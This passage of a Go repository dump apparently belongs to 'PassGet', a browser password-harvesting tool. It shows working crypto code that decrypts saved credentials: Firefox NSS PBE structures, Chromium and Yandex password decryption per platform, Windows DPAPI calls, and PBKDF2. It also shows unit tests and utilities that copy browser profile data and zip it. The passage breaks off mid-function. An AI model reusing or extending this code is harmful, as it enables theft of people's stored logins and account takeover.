m.AlgoAttr.Data.Data.SlatAttr.KeySize 158 | 159 | key := PBKDF2Key(password[:], salt, iter, keyLen, sha256.New) 160 | iv := append([]byte{4, 14}, m.AlgoAttr.Data.IVData.IV...) 161 | return key, iv 162 | } 163 | 164 | // loginPBE Struct 165 | // 166 | // OCTET STRING (16 byte) 167 | // SEQUENCE (2 elem) 168 | // OBJECT IDENTIFIER 169 | // OCTET STRING (8 byte) 170 | // OCTET STRING (16 byte) 171 | type loginPBE struct { 172 | CipherText []byte 173 | Data struct { 174 | asn1.ObjectIdentifier 175 | IV []byte 176 | } 177 | Encrypted []byte 178 | } 179 | 180 | func (l loginPBE) Decrypt(globalSalt []byte) ([]byte, error) { 181 | key, iv := l.deriveKeyAndIV(globalSalt) 182 | return DES3Decrypt(key, iv, l.Encrypted) 183 | } 184 | 185 | func (l loginPBE) Encrypt(globalSalt, plaintext []byte) ([]byte, error) { 186 | key, iv := l.deriveKeyAndIV(globalSalt) 187 | return DES3Encrypt(key, iv, plaintext) 188 | } 189 | 190 | func (l loginPBE) deriveKeyAndIV(globalSalt []byte) ([]byte, []byte) { 191 | return globalSalt, l.Data.IV 192 | } 193 | -------------------------------------------------------------------------------- /modules/utils/browser/crypto/asn1pbe_test.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "bytes" 5 | "encoding/asn1" 6 | "encoding/hex" 7 | "testing" 8 | 9 | "github.com/stretchr/testify/assert" 10 | ) 11 | 12 | var ( 13 | pbeIV = []byte("01234567") // 8 bytes 14 | pbePlaintext = []byte("Hello, World!") 15 | pbeCipherText = []byte{0xf8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1} 16 | objWithMD5AndDESCBC = asn1.ObjectIdentifier{1, 2, 840, 113549, 1, 5, 3} 17 | objWithSHA256AndAES = asn1.ObjectIdentifier{2, 16, 840, 1, 101, 3, 4, 1, 46} 18 | objWithSHA1AndAES = asn1.ObjectIdentifier{1, 2, 840, 113549, 1, 5, 13} 19 | nssPBETestCases = []struct { 20 | RawHexPBE string 21 | GlobalSalt []byte 22 | Encrypted []byte 23 | IterationCount int 24 | Len int 25 | Plaintext []byte 26 | ObjectIdentifier asn1.ObjectIdentifier 27 | }{ 28 | { 29 | RawHexPBE: "303e302a06092a864886f70d01050d301d04186d6f6f6e6434726b6d6f6f6e6434726b6d6f6f6e6434726b020114041095183a14c752e7b1d0aaa47f53e05097", 30 | GlobalSalt: bytes.Repeat([]byte(baseKey), 3), 31 | Encrypted: []byte{0x95, 0x18, 0x3a, 0x14, 0xc7, 0x52, 0xe7, 0xb1, 0xd0, 0xaa, 0xa4, 0x7f, 0x53, 0xe0, 0x50, 0x97}, 32 | Plaintext: pbePlaintext, 33 | IterationCount: 1, 34 | Len: 32, 35 | ObjectIdentifier: objWithSHA1AndAES, 36 | }, 37 | } 38 | metaPBETestCases = []struct { 39 | RawHexPBE string 40 | GlobalSalt []byte 41 | Encrypted []byte 42 | IV []byte 43 | Plaintext []byte 44 | ObjectIdentifier asn1.ObjectIdentifier 45 | }{ 46 | { 47 | RawHexPBE: "307a3066060960864801650304012e3059303a060960864801650304012e302d04186d6f6f6e6434726b6d6f6f6e6434726b6d6f6f6e6434726b020101020120300b060960864801650304012e301b060960864801650304012e040e303132333435363730313233343504100474679f2e6256518b7adb877beaa154", 48 | GlobalSalt: bytes.Repeat([]byte(baseKey), 3), 49 | Encrypted: []byte{0x4, 0x74, 0x67, 0x9f, 0x2e, 0x62, 0x56, 0x51, 0x8b, 0x7a, 0xdb, 0x87, 0x7b, 0xea, 0xa1, 0x54}, 50 | IV: bytes.Repeat(pbeIV, 2)[:14], 51 | Plaintext: pbePlaintext, 52 | ObjectIdentifier: objWithSHA256AndAES, 53 | }, 54 | } 55 | loginPBETestCases = []struct { 56 | RawHexPBE string 57 | GlobalSalt []byte 58 | Encrypted []byte 59 | IV []byte 60 | Plaintext []byte 61 | ObjectIdentifier asn1.ObjectIdentifier 62 | }{ 63 | { 64 | RawHexPBE: "303b0410f8000000000000000000000000000001301506092a864886f70d010503040830313233343536370410fe968b6565149114ea688defd6683e45303b0410f8000000000000000000000000000001301506092a864886f70d010503040830313233343536370410fe968b6565149114ea688defd6683e45303b0410f8000000000000000000000000000001301506092a864886f70d010503040830313233343536370410fe968b6565149114ea688defd6683e45", 65 | Encrypted: []byte{0xfe, 0x96, 0x8b, 0x65, 0x65, 0x14, 0x91, 0x14, 0xea, 0x68, 0x8d, 0xef, 0xd6, 0x68, 0x3e, 0x45}, 66 | GlobalSalt: bytes.Repeat([]byte(baseKey), 3), 67 | IV: pbeIV, 68 | Plaintext: pbePlaintext, 69 | ObjectIdentifier: objWithMD5AndDESCBC, 70 | }, 71 | } 72 | ) 73 | 74 | func TestNewASN1PBE(t *testing.T) { 75 | for _, tc := range nssPBETestCases { 76 | nssRaw, err := hex.DecodeString(tc.RawHexPBE) 77 | assert.Equal(t, nil, err) 78 | pbe, err := NewASN1PBE(nssRaw) 79 | assert.Equal(t, nil, err) 80 | nssPBETC, ok := pbe.(nssPBE) 81 | assert.Equal(t, true, ok) 82 | assert.Equal(t, nssPBETC.Encrypted, tc.Encrypted) 83 | assert.Equal(t, nssPBETC.AlgoAttr.SaltAttr.EntrySalt, tc.GlobalSalt) 84 | assert.Equal(t, nssPBETC.AlgoAttr.SaltAttr.Len, 20) 85 | assert.Equal(t, nssPBETC.AlgoAttr.ObjectIdentifier, tc.ObjectIdentifier) 86 | } 87 | } 88 | 89 | func TestNssPBE_Encrypt(t *testing.T) { 90 | for _, tc := range nssPBETestCases { 91 | nssPBETC := nssPBE{ 92 | Encrypted: tc.Encrypted, 93 | AlgoAttr: struct { 94 | asn1.ObjectIdentifier 95 | SaltAttr struct { 96 | EntrySalt []byte 97 | Len int 98 | } 99 | }{ 100 | ObjectIdentifier: tc.ObjectIdentifier, 101 | SaltAttr: struct { 102 | EntrySalt []byte 103 | Len int 104 | }{ 105 | EntrySalt: tc.GlobalSalt, 106 | Len: 20, 107 | }, 108 | }, 109 | } 110 | encrypted, err := nssPBETC.Encrypt(tc.GlobalSalt, tc.Plaintext) 111 | assert.Equal(t, nil, err) 112 | assert.Equal(t, true, len(encrypted) > 0) 113 | assert.Equal(t, nssPBETC.Encrypted, encrypted) 114 | } 115 | } 116 | 117 | func TestNssPBE_Decrypt(t *testing.T) { 118 | for _, tc := range nssPBETestCases { 119 | nssPBETC := nssPBE{ 120 | Encrypted: tc.Encrypted, 121 | AlgoAttr: struct { 122 | asn1.ObjectIdentifier 123 | SaltAttr struct { 124 | EntrySalt []byte 125 | Len int 126 | } 127 | }{ 128 | ObjectIdentifier: tc.ObjectIdentifier, 129 | SaltAttr: struct { 130 | EntrySalt []byte 131 | Len int 132 | }{ 133 | EntrySalt: tc.GlobalSalt, 134 | Len: 20, 135 | }, 136 | }, 137 | } 138 | decrypted, err := nssPBETC.Decrypt(tc.GlobalSalt) 139 | assert.Equal(t, nil, err) 140 | assert.Equal(t, true, len(decrypted) > 0) 141 | assert.Equal(t, pbePlaintext, decrypted) 142 | } 143 | } 144 | 145 | func TestNewASN1PBE_MetaPBE(t *testing.T) { 146 | for _, tc := range metaPBETestCases { 147 | metaRaw, err := hex.DecodeString(tc.RawHexPBE) 148 | assert.Equal(t, nil, err) 149 | pbe, err := NewASN1PBE(metaRaw) 150 | assert.Equal(t, nil, err) 151 | metaPBETC, ok := pbe.(metaPBE) 152 | assert.Equal(t, true, ok) 153 | assert.Equal(t, metaPBETC.Encrypted, tc.Encrypted) 154 | assert.Equal(t, metaPBETC.AlgoAttr.Data.IVData.IV, tc.IV) 155 | assert.Equal(t, metaPBETC.AlgoAttr.Data.IVData.ObjectIdentifier, objWithSHA256AndAES) 156 | } 157 | } 158 | 159 | func TestMetaPBE_Encrypt(t *testing.T) { 160 | for _, tc := range metaPBETestCases { 161 | metaPBETC := metaPBE{ 162 | AlgoAttr: algoAttr{ 163 | ObjectIdentifier: tc.ObjectIdentifier, 164 | Data: struct { 165 | Data struct { 166 | asn1.ObjectIdentifier 167 | SlatAttr slatAttr 168 | } 169 | IVData ivAttr 170 | }{ 171 | Data: struct { 172 | asn1.ObjectIdentifier 173 | SlatAttr slatAttr 174 | }{ 175 | ObjectIdentifier: tc.ObjectIdentifier, 176 | SlatAttr: slatAttr{ 177 | EntrySalt: tc.GlobalSalt, 178 | IterationCount: 1, 179 | KeySize: 32, 180 | Algorithm: struct { 181 | asn1.ObjectIdentifier 182 | }{ 183 | ObjectIdentifier: tc.ObjectIdentifier, 184 | }, 185 | }, 186 | }, 187 | IVData: ivAttr{ 188 | ObjectIdentifier: tc.ObjectIdentifier, 189 | IV: tc.IV, 190 | }, 191 | }, 192 | }, 193 | Encrypted: tc.Encrypted, 194 | } 195 | encrypted, err := metaPBETC.Encrypt(tc.GlobalSalt, tc.Plaintext) 196 | assert.Equal(t, nil, err) 197 | assert.Equal(t, true, len(encrypted) > 0) 198 | assert.Equal(t, metaPBETC.Encrypted, encrypted) 199 | } 200 | } 201 | 202 | func TestMetaPBE_Decrypt(t *testing.T) { 203 | for _, tc := range metaPBETestCases { 204 | metaPBETC := metaPBE{ 205 | AlgoAttr: algoAttr{ 206 | ObjectIdentifier: tc.ObjectIdentifier, 207 | Data: struct { 208 | Data struct { 209 | asn1.ObjectIdentifier 210 | SlatAttr slatAttr 211 | } 212 | IVData ivAttr 213 | }{ 214 | Data: struct { 215 | asn1.ObjectIdentifier 216 | SlatAttr slatAttr 217 | }{ 218 | ObjectIdentifier: tc.ObjectIdentifier, 219 | SlatAttr: slatAttr{ 220 | EntrySalt: tc.GlobalSalt, 221 | IterationCount: 1, 222 | KeySize: 32, 223 | Algorithm: struct { 224 | asn1.ObjectIdentifier 225 | }{ 226 | ObjectIdentifier: tc.ObjectIdentifier, 227 | }, 228 | }, 229 | }, 230 | IVData: ivAttr{ 231 | ObjectIdentifier: tc.ObjectIdentifier, 232 | IV: tc.IV, 233 | }, 234 | }, 235 | }, 236 | Encrypted: tc.Encrypted, 237 | } 238 | decrypted, err := metaPBETC.Decrypt(tc.GlobalSalt) 239 | assert.Equal(t, nil, err) 240 | assert.Equal(t, true, len(decrypted) > 0) 241 | assert.Equal(t, pbePlaintext, decrypted) 242 | } 243 | } 244 | 245 | func TestNewASN1PBE_LoginPBE(t *testing.T) { 246 | for _, tc := range loginPBETestCases { 247 | loginRaw, err := hex.DecodeString(tc.RawHexPBE) 248 | assert.Equal(t, nil, err) 249 | pbe, err := NewASN1PBE(loginRaw) 250 | assert.Equal(t, nil, err) 251 | loginPBETC, ok := pbe.(loginPBE) 252 | assert.Equal(t, true, ok) 253 | assert.Equal(t, loginPBETC.Encrypted, tc.Encrypted) 254 | assert.Equal(t, loginPBETC.Data.IV, tc.IV) 255 | assert.Equal(t, loginPBETC.Data.ObjectIdentifier, objWithMD5AndDESCBC) 256 | } 257 | } 258 | 259 | func TestLoginPBE_Encrypt(t *testing.T) { 260 | for _, tc := range loginPBETestCases { 261 | loginPBETC := loginPBE{ 262 | CipherText: pbeCipherText, 263 | Data: struct { 264 | asn1.ObjectIdentifier 265 | IV []byte 266 | }{ 267 | ObjectIdentifier: tc.ObjectIdentifier, 268 | IV: tc.IV, 269 | }, 270 | Encrypted: tc.Encrypted, 271 | } 272 | encrypted, err := loginPBETC.Encrypt(tc.GlobalSalt, plainText) 273 | assert.Equal(t, nil, err) 274 | assert.Equal(t, true, len(encrypted) > 0) 275 | assert.Equal(t, loginPBETC.Encrypted, encrypted) 276 | } 277 | } 278 | 279 | func TestLoginPBE_Decrypt(t *testing.T) { 280 | for _, tc := range loginPBETestCases { 281 | loginPBETC := loginPBE{ 282 | CipherText: pbeCipherText, 283 | Data: struct { 284 | asn1.ObjectIdentifier 285 | IV []byte 286 | }{ 287 | ObjectIdentifier: tc.ObjectIdentifier, 288 | IV: tc.IV, 289 | }, 290 | Encrypted: tc.Encrypted, 291 | } 292 | decrypted, err := loginPBETC.Decrypt(tc.GlobalSalt) 293 | assert.Equal(t, nil, err) 294 | assert.Equal(t, true, len(decrypted) > 0) 295 | assert.Equal(t, pbePlaintext, decrypted) 296 | } 297 | } 298 | -------------------------------------------------------------------------------- /modules/utils/browser/crypto/crypto.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "bytes" 5 | "crypto/aes" 6 | "crypto/cipher" 7 | "crypto/des" 8 | "errors" 9 | "fmt" 10 | ) 11 | 12 | var ErrCiphertextLengthIsInvalid = errors.New("ciphertext length is invalid") 13 | 14 | func AES128CBCDecrypt(key, iv, ciphertext []byte) ([]byte, error) { 15 | block, err := aes.NewCipher(key) 16 | if err != nil { 17 | return nil, err 18 | } 19 | // Check ciphertext length 20 | if len(ciphertext) < aes.BlockSize { 21 | return nil, errors.New("AES128CBCDecrypt: ciphertext too short") 22 | } 23 | if len(ciphertext)%aes.BlockSize != 0 { 24 | return nil, errors.New("AES128CBCDecrypt: ciphertext is not a multiple of the block size") 25 | } 26 | 27 | decryptedData := make([]byte, len(ciphertext)) 28 | mode := cipher.NewCBCDecrypter(block, iv) 29 | mode.CryptBlocks(decryptedData, ciphertext) 30 | 31 | // unpad the decrypted data and handle potential padding errors 32 | decryptedData, err = pkcs5UnPadding(decryptedData) 33 | if err != nil { 34 | return nil, fmt.Errorf("AES128CBCDecrypt: %w", err) 35 | } 36 | 37 | return decryptedData, nil 38 | } 39 | 40 | func AES128CBCEncrypt(key, iv, plaintext []byte) ([]byte, error) { 41 | block, err := aes.NewCipher(key) 42 | if err != nil { 43 | return nil, err 44 | } 45 | 46 | if len(iv) != aes.BlockSize { 47 | return nil, errors.New("AES128CBCEncrypt: iv length is invalid, must equal block size") 48 | } 49 | 50 | plaintext = pkcs5Padding(plaintext, block.BlockSize()) 51 | encryptedData := make([]byte, len(plaintext)) 52 | mode := cipher.NewCBCEncrypter(block, iv) 53 | mode.CryptBlocks(encryptedData, plaintext) 54 | 55 | return encryptedData, nil 56 | } 57 | 58 | func DES3Decrypt(key, iv, ciphertext []byte) ([]byte, error) { 59 | block, err := des.NewTripleDESCipher(key) 60 | if err != nil { 61 | return nil, err 62 | } 63 | if len(ciphertext) < des.BlockSize { 64 | return nil, errors.New("DES3Decrypt: ciphertext too short") 65 | } 66 | if len(ciphertext)%block.BlockSize() != 0 { 67 | return nil, errors.New("DES3Decrypt: ciphertext is not a multiple of the block size") 68 | } 69 | 70 | blockMode := cipher.NewCBCDecrypter(block, iv) 71 | sq := make([]byte, len(ciphertext)) 72 | blockMode.CryptBlocks(sq, ciphertext) 73 | 74 | return pkcs5UnPadding(sq) 75 | } 76 | 77 | func DES3Encrypt(key, iv, plaintext []byte) ([]byte, error) { 78 | block, err := des.NewTripleDESCipher(key) 79 | if err != nil { 80 | return nil, err 81 | } 82 | 83 | plaintext = pkcs5Padding(plaintext, block.BlockSize()) 84 | dst := make([]byte, len(plaintext)) 85 | blockMode := cipher.NewCBCEncrypter(block, iv) 86 | blockMode.CryptBlocks(dst, plaintext) 87 | 88 | return dst, nil 89 | } 90 | 91 | // AESGCMDecrypt chromium > 80 https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/sync/os_crypt_win.cc 92 | func AESGCMDecrypt(key, nounce, ciphertext []byte) ([]byte, error) { 93 | block, err := aes.NewCipher(key) 94 | if err != nil { 95 | return nil, err 96 | } 97 | blockMode, err := cipher.NewGCM(block) 98 | if err != nil { 99 | return nil, err 100 | } 101 | origData, err := blockMode.Open(nil, nounce, ciphertext, nil) 102 | if err != nil { 103 | return nil, err 104 | } 105 | return origData, nil 106 | } 107 | 108 | // AESGCMEncrypt encrypts plaintext using AES encryption in GCM mode. 109 | func AESGCMEncrypt(key, nonce, plaintext []byte) ([]byte, error) { 110 | block, err := aes.NewCipher(key) 111 | if err != nil { 112 | return nil, err 113 | } 114 | blockMode, err := cipher.NewGCM(block) 115 | if err != nil { 116 | return nil, err 117 | } 118 | // The first parameter is the prefix for the output, we can leave it nil. 119 | // The Seal method encrypts and authenticates the data, appending the result to the dst. 120 | encryptedData := blockMode.Seal(nil, nonce, plaintext, nil) 121 | return encryptedData, nil 122 | } 123 | 124 | func paddingZero(src []byte, length int) []byte { 125 | padding := length - len(src) 126 | if padding <= 0 { 127 | return src 128 | } 129 | return append(src, make([]byte, padding)...) 130 | } 131 | 132 | func pkcs5UnPadding(src []byte) ([]byte, error) { 133 | length := len(src) 134 | if length == 0 { 135 | return nil, errors.New("pkcs5UnPadding: src should not be empty") 136 | } 137 | padding := int(src[length-1]) 138 | if padding < 1 || padding > aes.BlockSize { 139 | return nil, errors.New("pkcs5UnPadding: invalid padding size") 140 | } 141 | return src[:length-padding], nil 142 | } 143 | 144 | func pkcs5Padding(src []byte, blocksize int) []byte { 145 | padding := blocksize - (len(src) % blocksize) 146 | padText := bytes.Repeat([]byte{byte(padding)}, padding) 147 | return append(src, padText...) 148 | } 149 | -------------------------------------------------------------------------------- /modules/utils/browser/crypto/crypto_darwin.go: -------------------------------------------------------------------------------- 1 | //go:build darwin 2 | 3 | package crypto 4 | 5 | func DecryptWithChromium(key, password []byte) ([]byte, error) { 6 | if len(password) <= 3 { 7 | return nil, ErrCiphertextLengthIsInvalid 8 | } 9 | iv := []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32} 10 | return AES128CBCDecrypt(key, iv, password[3:]) 11 | } 12 | 13 | func DecryptWithDPAPI(_ []byte) ([]byte, error) { 14 | return nil, nil 15 | } 16 | -------------------------------------------------------------------------------- /modules/utils/browser/crypto/crypto_linux.go: -------------------------------------------------------------------------------- 1 | //go:build linux 2 | 3 | package crypto 4 | 5 | func DecryptWithChromium(key, encryptPass []byte) ([]byte, error) { 6 | if len(encryptPass) < 3 { 7 | return nil, ErrCiphertextLengthIsInvalid 8 | } 9 | iv := []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32} 10 | return AES128CBCDecrypt(key, iv, encryptPass[3:]) 11 | } 12 | 13 | func DecryptWithDPAPI(_ []byte) ([]byte, error) { 14 | return nil, nil 15 | } 16 | -------------------------------------------------------------------------------- /modules/utils/browser/crypto/crypto_test.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "bytes" 5 | "crypto/sha1" 6 | "encoding/hex" 7 | "fmt" 8 | "testing" 9 | 10 | "github.com/stretchr/testify/assert" 11 | ) 12 | 13 | const baseKey = "moond4rk" 14 | 15 | var ( 16 | aesKey = bytes.Repeat([]byte(baseKey), 2) // 16 bytes 17 | aesIV = []byte("01234567abcdef01") // 16 bytes 18 | plainText = []byte("Hello, World!") 19 | aes128Ciphertext = "19381468ecf824c0bfc7a89eed9777d2" 20 | 21 | des3Key = sha1.New().Sum(aesKey)[:24] 22 | des3IV = aesIV[:8] 23 | des3Ciphertext = "a4492f31bc404fae18d53a46ca79282e" 24 | 25 | aesGCMNonce = aesKey[:12] 26 | aesGCMCiphertext = "6c49dac89992639713edab3a114c450968a08b53556872cea3919e2e9a" 27 | ) 28 | 29 | func TestAES128CBCEncrypt(t *testing.T) { 30 | encrypted, err := AES128CBCEncrypt(aesKey, aesIV, plainText) 31 | assert.Equal(t, nil, err) 32 | assert.Equal(t, true, len(encrypted) > 0) 33 | assert.Equal(t, aes128Ciphertext, fmt.Sprintf("%x", encrypted)) 34 | } 35 | 36 | func TestAES128CBCDecrypt(t *testing.T) { 37 | ciphertext, _ := hex.DecodeString(aes128Ciphertext) 38 | decrypted, err := AES128CBCDecrypt(aesKey, aesIV, ciphertext) 39 | assert.Equal(t, nil, err) 40 | assert.Equal(t, true, len(decrypted) > 0) 41 | assert.Equal(t, plainText, decrypted) 42 | } 43 | 44 | func TestDES3Encrypt(t *testing.T) { 45 | encrypted, err := DES3Encrypt(des3Key, des3IV, plainText) 46 | assert.Equal(t, nil, err) 47 | assert.Equal(t, true, len(encrypted) > 0) 48 | assert.Equal(t, des3Ciphertext, fmt.Sprintf("%x", encrypted)) 49 | } 50 | 51 | func TestDES3Decrypt(t *testing.T) { 52 | ciphertext, _ := hex.DecodeString(des3Ciphertext) 53 | decrypted, err := DES3Decrypt(des3Key, des3IV, ciphertext) 54 | assert.Equal(t, nil, err) 55 | assert.Equal(t, true, len(decrypted) > 0) 56 | assert.Equal(t, plainText, decrypted) 57 | } 58 | 59 | func TestAESGCMEncrypt(t *testing.T) { 60 | encrypted, err := AESGCMEncrypt(aesKey, aesGCMNonce, plainText) 61 | assert.Equal(t, nil, err) 62 | assert.Equal(t, true, len(encrypted) > 0) 63 | assert.Equal(t, aesGCMCiphertext, fmt.Sprintf("%x", encrypted)) 64 | } 65 | 66 | func TestAESGCMDecrypt(t *testing.T) { 67 | ciphertext, _ := hex.DecodeString(aesGCMCiphertext) 68 | decrypted, err := AESGCMDecrypt(aesKey, aesGCMNonce, ciphertext) 69 | assert.Equal(t, nil, err) 70 | assert.Equal(t, true, len(decrypted) > 0) 71 | assert.Equal(t, plainText, decrypted) 72 | } 73 | -------------------------------------------------------------------------------- /modules/utils/browser/crypto/crypto_windows.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | package crypto 4 | 5 | import ( 6 | "fmt" 7 | "syscall" 8 | "unsafe" 9 | ) 10 | 11 | const ( 12 | // Assuming the nonce size is 12 bytes and the minimum encrypted data size is 3 bytes 13 | minEncryptedDataSize = 15 14 | nonceSize = 12 15 | ) 16 | 17 | func DecryptWithChromium(key, ciphertext []byte) ([]byte, error) { 18 | if len(ciphertext) < minEncryptedDataSize { 19 | return nil, ErrCiphertextLengthIsInvalid 20 | } 21 | 22 | nonce := ciphertext[3 : 3+nonceSize] 23 | encryptedPassword := ciphertext[3+nonceSize:] 24 | 25 | return AESGCMDecrypt(key, nonce, encryptedPassword) 26 | } 27 | 28 | // DecryptWithYandex decrypts the password with AES-GCM 29 | func DecryptWithYandex(key, ciphertext []byte) ([]byte, error) { 30 | if len(ciphertext) < minEncryptedDataSize { 31 | return nil, ErrCiphertextLengthIsInvalid 32 | } 33 | // remove Prefix 'v10' 34 | // gcmBlockSize = 16 35 | // gcmTagSize = 16 36 | // gcmMinimumTagSize = 12 // NIST SP 800-38D recommends tags with 12 or more bytes. 37 | // gcmStandardNonceSize = 12 38 | nonce := ciphertext[3 : 3+nonceSize] 39 | encryptedPassword := ciphertext[3+nonceSize:] 40 | return AESGCMDecrypt(key, nonce, encryptedPassword) 41 | } 42 | 43 | type dataBlob struct { 44 | cbData uint32 45 | pbData *byte 46 | } 47 | 48 | func newBlob(d []byte) *dataBlob { 49 | if len(d) == 0 { 50 | return &dataBlob{} 51 | } 52 | return &dataBlob{ 53 | pbData: &d[0], 54 | cbData: uint32(len(d)), 55 | } 56 | } 57 | 58 | func (b *dataBlob) bytes() []byte { 59 | d := make([]byte, b.cbData) 60 | copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:]) 61 | return d 62 | } 63 | 64 | // DecryptWithDPAPI (Data Protection Application Programming Interface) 65 | // is a simple cryptographic application programming interface 66 | // available as a built-in component in Windows 2000 and 67 | // later versions of Microsoft Windows operating systems 68 | func DecryptWithDPAPI(ciphertext []byte) ([]byte, error) { 69 | crypt32 := syscall.NewLazyDLL("Crypt32.dll") 70 | kernel32 := syscall.NewLazyDLL("Kernel32.dll") 71 | unprotectDataProc := crypt32.NewProc("CryptUnprotectData") 72 | localFreeProc := kernel32.NewProc("LocalFree") 73 | 74 | var outBlob dataBlob 75 | r, _, err := unprotectDataProc.Call( 76 | uintptr(unsafe.Pointer(newBlob(ciphertext))), 77 | 0, 0, 0, 0, 0, 78 | uintptr(unsafe.Pointer(&outBlob)), 79 | ) 80 | if r == 0 { 81 | return nil, fmt.Errorf("CryptUnprotectData failed with error %w", err) 82 | } 83 | 84 | defer localFreeProc.Call(uintptr(unsafe.Pointer(outBlob.pbData))) 85 | return outBlob.bytes(), nil 86 | } 87 | -------------------------------------------------------------------------------- /modules/utils/browser/crypto/pbkdf2.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "crypto/hmac" 5 | "hash" 6 | ) 7 | 8 | // PBKDF2Key derives a key from the password, salt and iteration count, returning a 9 | // []byte of length keylen that can be used as cryptographic key. The key is 10 | // derived based on the method described as PBKDF2 with the HMAC variant using 11 | // the supplied hash function. 12 | // 13 | // For example, to use a HMAC-SHA-1 based PBKDF2 key derivation function, you 14 | // can get a derived key for e.g. AES-256 (which needs a 32-byte key) by 15 | // doing: 16 | // 17 | // dk := pbkdf2.Key([]byte("some password"), salt, 4096, 32, sha1.New) 18 | // 19 | // Remember to get a good random salt. At least 8 bytes is recommended by the 20 | // RFC. 21 | // 22 | // Using a higher iteration count will increase the cost of an exhaustive 23 | // search but will also make derivation proportionally slower. 24 | // Copy from https://golang.org/x/crypto/pbkdf2 25 | func PBKDF2Key(password, salt []byte, iter, keyLen int, h func() hash.Hash) []byte { 26 | prf := hmac.New(h, password) 27 | hashLen := prf.Size() 28 | numBlocks := (keyLen + hashLen - 1) / hashLen 29 | 30 | var buf [4]byte 31 | dk := make([]byte, 0, numBlocks*hashLen) 32 | u := make([]byte, hashLen) 33 | for block := 1; block <= numBlocks; block++ { 34 | // N.B.: || means concatenation, ^ means XOR 35 | // for each block T_i = U_1 ^ U_2 ^ ... ^ U_iter 36 | // U_1 = PRF(password, salt || uint(i)) 37 | prf.Reset() 38 | prf.Write(salt) 39 | buf[0] = byte(block >> 24) 40 | buf[1] = byte(block >> 16) 41 | buf[2] = byte(block >> 8) 42 | buf[3] = byte(block) 43 | prf.Write(buf[:4]) 44 | dk = prf.Sum(dk) 45 | t := dk[len(dk)-hashLen:] 46 | copy(u, t) 47 | 48 | for n := 2; n <= iter; n++ { 49 | prf.Reset() 50 | prf.Write(u) 51 | u = u[:0] 52 | u = prf.Sum(u) 53 | for x := range u { 54 | t[x] ^= u[x] 55 | } 56 | } 57 | } 58 | return dk[:keyLen] 59 | } 60 | -------------------------------------------------------------------------------- /modules/utils/browser/extractor/extractor.go: -------------------------------------------------------------------------------- 1 | package extractor 2 | 3 | // Extractor is an interface for extracting data from browser data files 4 | type Extractor interface { 5 | Extract(masterKey []byte) error 6 | 7 | Name() string 8 | 9 | Len() int 10 | } 11 | -------------------------------------------------------------------------------- /modules/utils/browser/extractor/registration.go: -------------------------------------------------------------------------------- 1 | package extractor 2 | 3 | import ( 4 | "PassGet/modules/utils/browser/types" 5 | ) 6 | 7 | var extractorRegistry = make(map[types.DataType]func() Extractor) 8 | 9 | // RegisterExtractor is used to register the data source 10 | func RegisterExtractor(dataType types.DataType, factoryFunc func() Extractor) { 11 | extractorRegistry[dataType] = factoryFunc 12 | } 13 | 14 | // CreateExtractor is used to create the data source 15 | func CreateExtractor(dataType types.DataType) Extractor { 16 | if factoryFunc, ok := extractorRegistry[dataType]; ok { 17 | return factoryFunc() 18 | } 19 | return nil 20 | } 21 | -------------------------------------------------------------------------------- /modules/utils/browser/fileutil/fileutil.go: -------------------------------------------------------------------------------- 1 | package fileutil 2 | 3 | import ( 4 | "archive/zip" 5 | "bytes" 6 | "fmt" 7 | "io" 8 | "os" 9 | "path/filepath" 10 | "strings" 11 | 12 | cp "github.com/otiai10/copy" 13 | ) 14 | 15 | // IsFileExists checks if the file exists in the provided path 16 | func IsFileExists(filename string) bool { 17 | info, err := os.Stat(filename) 18 | if os.IsNotExist(err) { 19 | return false 20 | } 21 | if err != nil { 22 | return false 23 | } 24 | return !info.IsDir() 25 | } 26 | 27 | // IsDirExists checks if the folder exists 28 | func IsDirExists(folder string) bool { 29 | info, err := os.Stat(folder) 30 | if os.IsNotExist(err) { 31 | return false 32 | } 33 | if err != nil { 34 | return false 35 | } 36 | return info.IsDir() 37 | } 38 | 39 | // ReadFile reads the file from the provided path 40 | func ReadFile(filename string) (string, error) { 41 | s, err := os.ReadFile(filename) 42 | return string(s), err 43 | } 44 | 45 | // CopyDir copies the directory from the source to the destination 46 | // skip the file if you don't want to copy 47 | func CopyDir(src, dst, skip string) error { 48 | s := cp.Options{Skip: func(info os.FileInfo, src, dst string) (bool, error) { 49 | return strings.HasSuffix(strings.ToLower(src), skip), nil 50 | }} 51 | return cp.Copy(src, dst, s) 52 | } 53 | 54 | // CopyFile copies the file from the source to the destination 55 | func CopyFile(src, dst string) error { 56 | s, err := os.ReadFile(src) 57 | if err != nil { 58 | return err 59 | } 60 | err = os.WriteFile(dst, s, 0o600) 61 | if err != nil { 62 | return err 63 | } 64 | return nil 65 | } 66 | 67 | // Filename returns the filename from the provided path 68 | func Filename(browser, dataType, ext string) string { 69 | replace := strings.NewReplacer(" ", "_", ".", "_", "-", "_") 70 | return strings.ToLower(fmt.Sprintf("%s_%s.%s", replace.Replace(browser), dataType, ext)) 71 | } 72 | 73 | func BrowserName(browser, user string) string { 74 | replace := strings.NewReplacer(" ", "_", ".", "_", "-", "_", "Profile", "user") 75 | return strings.ToLower(fmt.Sprintf("%s_%s", replace.Replace(browser), replace.Replace(user))) 76 | } 77 | 78 | // ParentDir returns the parent directory of the provided path 79 | func ParentDir(p string) string { 80 | return filepath.Dir(filepath.Clean(p)) 81 | } 82 | 83 | // BaseDir returns the base directory of the provided path 84 | func BaseDir(p string) string { 85 | return filepath.Base(p) 86 | } 87 | 88 | // ParentBaseDir returns the parent base directory of the provided path 89 | func ParentBaseDir(p string) string { 90 | return BaseDir(ParentDir(p)) 91 | } 92 | 93 | // CompressDir compresses the directory into a zip file 94 | func CompressDir(dir string) error { 95 | files, err := os.ReadDir(dir) 96 | if err != nil { 97 | return fmt.Errorf("read dir error: %w", err) 98 | } 99 | if len(files) == 0 { 100 